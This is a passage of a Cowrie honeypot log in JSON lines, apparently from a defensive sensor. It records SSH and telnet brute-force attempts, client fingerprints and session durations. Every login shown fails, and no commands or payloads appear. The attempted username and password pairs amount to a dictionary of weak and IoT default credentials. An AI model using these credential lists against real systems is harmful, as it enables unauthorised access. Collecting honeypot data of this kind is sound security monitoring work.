roup1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:31:52.748634Z","src_ip":"161.132.50.236","session":"cecd22032122","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"Passw0rd","message":"login attempt [postgres/Passw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:31:53.138692Z","src_ip":"161.132.50.236","session":"cecd22032122","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:31:54.229488Z","src_ip":"161.132.50.236","session":"cecd22032122","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.170.119.100","src_port":49840,"dst_ip":"159.203.135.109","dst_port":23,"session":"26d2c2e63603","protocol":"telnet","message":"New connection: 95.170.119.100:49840 (159.203.135.109:23) [session: 26d2c2e63603]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:31:57.432658Z"}
{"eventid":"cowrie.telnet.option","command":"DONT","option_name":"ECHO","option_byte":1,"message":"Telnet DONT ECHO","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:31:57.766309Z","src_ip":"95.170.119.100","session":"26d2c2e63603","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"123123","message":"login attempt [root/123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:31:57.972366Z","src_ip":"95.170.119.100","session":"26d2c2e63603","protocol":"telnet"}
{"eventid":"cowrie.telnet.option","command":"DONT","option_name":"ECHO","option_byte":1,"message":"Telnet DONT ECHO","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:31:58.306331Z","src_ip":"95.170.119.100","session":"26d2c2e63603","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"admin","password":"Win1doW$","message":"login attempt [admin/Win1doW$] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:31:58.513301Z","src_ip":"95.170.119.100","session":"26d2c2e63603","protocol":"telnet"}
{"eventid":"cowrie.telnet.option","command":"DONT","option_name":"ECHO","option_byte":1,"message":"Telnet DONT ECHO","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:31:58.845062Z","src_ip":"95.170.119.100","session":"26d2c2e63603","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"admin","password":"meinsm","message":"login attempt [admin/meinsm] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:31:59.053400Z","src_ip":"95.170.119.100","session":"26d2c2e63603","protocol":"telnet"}
{"eventid":"cowrie.telnet.option","command":"DONT","option_name":"ECHO","option_byte":1,"message":"Telnet DONT ECHO","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:31:59.387654Z","src_ip":"95.170.119.100","session":"26d2c2e63603","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"admin","password":"password","message":"login attempt [admin/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:31:59.593639Z","src_ip":"95.170.119.100","session":"26d2c2e63603","protocol":"telnet"}
{"eventid":"cowrie.telnet.option","command":"DONT","option_name":"ECHO","option_byte":1,"message":"Telnet DONT ECHO","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:31:59.925764Z","src_ip":"95.170.119.100","session":"26d2c2e63603","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"admin","password":"1234","message":"login attempt [admin/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:32:00.132958Z","src_ip":"95.170.119.100","session":"26d2c2e63603","protocol":"telnet"}
{"eventid":"cowrie.telnet.option","command":"DONT","option_name":"ECHO","option_byte":1,"message":"Telnet DONT ECHO","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:32:00.468326Z","src_ip":"95.170.119.100","session":"26d2c2e63603","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"ivdev","message":"login attempt [root/ivdev] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:32:00.672660Z","src_ip":"95.170.119.100","session":"26d2c2e63603","protocol":"telnet"}
{"eventid":"cowrie.telnet.option","command":"DONT","option_name":"ECHO","option_byte":1,"message":"Telnet DONT ECHO","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:32:01.009755Z","src_ip":"95.170.119.100","session":"26d2c2e63603","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"aquario","message":"login attempt [root/aquario] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:32:01.216615Z","src_ip":"95.170.119.100","session":"26d2c2e63603","protocol":"telnet"}
{"eventid":"cowrie.telnet.option","command":"DONT","option_name":"ECHO","option_byte":1,"message":"Telnet DONT ECHO","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:32:01.550269Z","src_ip":"95.170.119.100","session":"26d2c2e63603","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"admin","password":"12345","message":"login attempt [admin/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:32:01.757356Z","src_ip":"95.170.119.100","session":"26d2c2e63603","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":42934,"dst_ip":"159.203.135.109","dst_port":23,"session":"5c20bfa2160c","protocol":"telnet","message":"New connection: 172.81.62.90:42934 (159.203.135.109:23) [session: 5c20bfa2160c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:32:09.409259Z"}
{"eventid":"cowrie.session.connect","src_ip":"95.170.119.100","src_port":49852,"dst_ip":"159.203.135.109","dst_port":23,"session":"d2734c240508","protocol":"telnet","message":"New connection: 95.170.119.100:49852 (159.203.135.109:23) [session: d2734c240508]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:32:18.256391Z"}
{"eventid":"cowrie.telnet.option","command":"DONT","option_name":"ECHO","option_byte":1,"message":"Telnet DONT ECHO","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:32:18.602324Z","src_ip":"95.170.119.100","session":"d2734c240508","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"zsun1188","message":"login attempt [root/zsun1188] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:32:18.811763Z","src_ip":"95.170.119.100","session":"d2734c240508","protocol":"telnet"}
{"eventid":"cowrie.telnet.option","command":"DONT","option_name":"ECHO","option_byte":1,"message":"Telnet DONT ECHO","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:32:19.144720Z","src_ip":"95.170.119.100","session":"d2734c240508","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"7ujMko0vizxv","message":"login attempt [root/7ujMko0vizxv] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:32:19.355242Z","src_ip":"95.170.119.100","session":"d2734c240508","protocol":"telnet"}
{"eventid":"cowrie.telnet.option","command":"DONT","option_name":"ECHO","option_byte":1,"message":"Telnet DONT ECHO","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:32:19.694955Z","src_ip":"95.170.119.100","session":"d2734c240508","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"klv123","message":"login attempt [root/klv123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:32:19.901993Z","src_ip":"95.170.119.100","session":"d2734c240508","protocol":"telnet"}
{"eventid":"cowrie.telnet.option","command":"DONT","option_name":"ECHO","option_byte":1,"message":"Telnet DONT ECHO","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:32:20.236080Z","src_ip":"95.170.119.100","session":"d2734c240508","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"klv1234","message":"login attempt [root/klv1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:32:20.443442Z","src_ip":"95.170.119.100","session":"d2734c240508","protocol":"telnet"}
{"eventid":"cowrie.telnet.option","command":"DONT","option_name":"ECHO","option_byte":1,"message":"Telnet DONT ECHO","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:32:20.777704Z","src_ip":"95.170.119.100","session":"d2734c240508","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"default","password":"antslq","message":"login attempt [default/antslq] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:32:20.989697Z","src_ip":"95.170.119.100","session":"d2734c240508","protocol":"telnet"}
{"eventid":"cowrie.telnet.option","command":"DONT","option_name":"ECHO","option_byte":1,"message":"Telnet DONT ECHO","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:32:21.329071Z","src_ip":"95.170.119.100","session":"d2734c240508","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"","message":"login attempt [root/] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:32:21.536488Z","src_ip":"95.170.119.100","session":"d2734c240508","protocol":"telnet"}
{"eventid":"cowrie.telnet.option","command":"DONT","option_name":"ECHO","option_byte":1,"message":"Telnet DONT ECHO","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:32:21.875485Z","src_ip":"95.170.119.100","session":"d2734c240508","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"7ujMko0admin","message":"login attempt [root/7ujMko0admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:32:22.089766Z","src_ip":"95.170.119.100","session":"d2734c240508","protocol":"telnet"}
{"eventid":"cowrie.telnet.option","command":"DONT","option_name":"ECHO","option_byte":1,"message":"Telnet DONT ECHO","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:32:22.443409Z","src_ip":"95.170.119.100","session":"d2734c240508","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"admin","password":"","message":"login attempt [admin/] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:32:22.652615Z","src_ip":"95.170.119.100","session":"d2734c240508","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.989110469818115,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:32:45.398205Z","src_ip":"172.81.62.90","session":"5c20bfa2160c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.62.83","src_port":56068,"dst_ip":"159.203.135.109","dst_port":22,"session":"de1afce264e4","protocol":"ssh","message":"New connection: 62.133.62.83:56068 (159.203.135.109:22) [session: de1afce264e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:32:51.733245Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:32:51.737661Z","src_ip":"62.133.62.83","session":"de1afce264e4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:32:51.815723Z","src_ip":"62.133.62.83","session":"de1afce264e4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"arlene","message":"login attempt [root/arlene] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:32:52.056308Z","src_ip":"62.133.62.83","session":"de1afce264e4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:32:53.136798Z","src_ip":"62.133.62.83","session":"de1afce264e4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.63.196.175","src_port":56842,"dst_ip":"10.17.0.5","dst_port":22,"session":"f23f924f236a","protocol":"ssh","message":"New connection: 14.63.196.175:56842 (10.17.0.5:22) [session: f23f924f236a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:32:59.016611Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:32:59.022166Z","src_ip":"14.63.196.175","session":"f23f924f236a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:32:59.227917Z","src_ip":"14.63.196.175","session":"f23f924f236a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456789w","message":"login attempt [root/123456789w] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:33:00.090673Z","src_ip":"14.63.196.175","session":"f23f924f236a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:33:01.306592Z","src_ip":"14.63.196.175","session":"f23f924f236a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":59928,"dst_ip":"10.17.0.5","dst_port":22,"session":"cfd1823d521a","protocol":"ssh","message":"New connection: 27.71.230.31:59928 (10.17.0.5:22) [session: cfd1823d521a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:33:22.269189Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:33:22.410449Z","src_ip":"27.71.230.31","session":"cfd1823d521a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:33:22.820998Z","src_ip":"27.71.230.31","session":"cfd1823d521a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Nopassword@123","message":"login attempt [root/Nopassword@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:33:26.730436Z","src_ip":"27.71.230.31","session":"cfd1823d521a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.8","message":"Connection lost after 5.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:33:28.030480Z","src_ip":"27.71.230.31","session":"cfd1823d521a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":52870,"dst_ip":"159.203.135.109","dst_port":23,"session":"2b20cdb7f241","protocol":"telnet","message":"New connection: 172.81.62.90:52870 (159.203.135.109:23) [session: 2b20cdb7f241]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:33:30.850665Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.222.183","src_port":38976,"dst_ip":"159.203.135.109","dst_port":22,"session":"281b98402d59","protocol":"ssh","message":"New connection: 103.15.222.183:38976 (159.203.135.109:22) [session: 281b98402d59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:33:35.999717Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:33:36.004407Z","src_ip":"103.15.222.183","session":"281b98402d59","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:33:36.252015Z","src_ip":"103.15.222.183","session":"281b98402d59","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"lesha123","message":"login attempt [root/lesha123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:33:36.997588Z","src_ip":"103.15.222.183","session":"281b98402d59","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:33:38.254944Z","src_ip":"103.15.222.183","session":"281b98402d59","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.50.236","src_port":58848,"dst_ip":"159.203.135.109","dst_port":22,"session":"fc2ad413361f","protocol":"ssh","message":"New connection: 161.132.50.236:58848 (159.203.135.109:22) [session: fc2ad413361f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:33:44.142224Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:33:44.146211Z","src_ip":"161.132.50.236","session":"fc2ad413361f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sh